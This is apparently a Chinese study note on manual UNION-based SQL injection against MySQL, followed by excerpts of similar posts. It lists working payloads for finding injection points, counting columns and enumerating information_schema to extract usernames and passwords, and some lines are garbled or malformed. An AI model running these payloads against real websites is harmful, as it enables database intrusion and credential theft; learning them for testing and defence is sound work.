在sql注入的前期,第一件事情就是找到sql注入點,在找到注入點後開始下面的內容:a.判斷注入點:
and1=
1--返回true,顯示正常
and1=2
--返回false,顯示錯誤
b.猜多少列order
by[數值]
c.聯合查詢猜表名union
select1,
2,3,……,
7from users --猜表名並記錄返回回顯位(報錯說明表不存在,將表名更換繼續猜)
d.聯合查詢猜列名union
select1,
2,username,4,
5,password,
7--猜列名
在mysql5.0之後,mysql會預設在資料庫中存放乙個"information_schema"的資料庫,所有資料庫及他們的表都會存放在"information_schema"這個資料庫中,我們需要記住:schemata、tables和columns這三個表名。1.schemata這個表中我們需要記住字段:schema_name,它儲存了該使用者建立的所有資料庫庫名;
2.tables這個表中我們需要記住字段:table_schema(資料庫庫名)、table_name(表名),它儲存了該使用者建立的所有資料庫庫名和表名;
3.columns表中我們需要記住字段:table_schema(庫名)、table_name(表名)、column_name(欄位名),它儲存了該使用者建立的所有資料庫庫名、表名和欄位名。
information_schema.tables 記錄表名資訊需要記住的三個函式:information_schema.columns 記錄列名資訊
table_schema 資料庫字段
table_name 表名 column_name 列名
database
(version(
):當前mysql的版本
user
():當前mysql的使用者
a.獲取資料庫庫名、版本號、使用者union
select1,
2,database()
,version(),
user()
,6,7
b.得到資料庫庫名後查當前資料庫表名union
select table_name from information_schema.
tables
where table_schema=
database()
;
c.在查到的表名中查詢列名,假設需要的表名為:userunion
select column_name from information_schema.
columns
where table_name=
'users'
;
e.查資料,假設查到的列名分別為:id,username,passwordunion
select username,password from table_name=
'user'
;
注:筆記僅供學習交流,請勿用於違法行為,如造成後果,與筆者無關
本人小白一枚,如果各位老哥發現錯誤,還望指出
sql注入之union注入
判斷是否存在注入點 判斷是什麼型別注入 字元型or數字型 判斷閉合方式 查詢列數個數 order by 5,獲得資料庫名 獲得表名 獲得欄位名 1.判斷是否存在注入點 可以用 單引號顯示資料庫錯誤資訊或者頁面回顯不同 2.判斷什麼型別 字元型or數字型 用and 1 1和and 1 2 如果頁面沒有...
SQL注入中的union注入
環境自己搭的 union聯合,合併,將多條查詢語句結果合併成乙個結果,union注入攻擊是手工測試 1.首先要判斷是否存在注入點 2.通過order by 1 99 查詢字段 首先應該用查詢出欄位 1.注 20表示空格,我這裡從1試到了7 到7的時候報錯,也就會是說有6個字段 2.我的回顯是2和4,...
sql注入 union聯合查詢注入
目錄 一,sql注入必記的一庫三表 二,union聯合查詢注入 1,基本注入流程 1,判斷注入點 2,判斷多少列 3,判斷顯示位 4,顯示資料庫的基本資訊 5,顯示有哪些資料庫 6,顯示資料庫下有哪些表 7,判斷表裡有哪些字段 八,查詢資料表中有哪些資料 information schema 資料庫...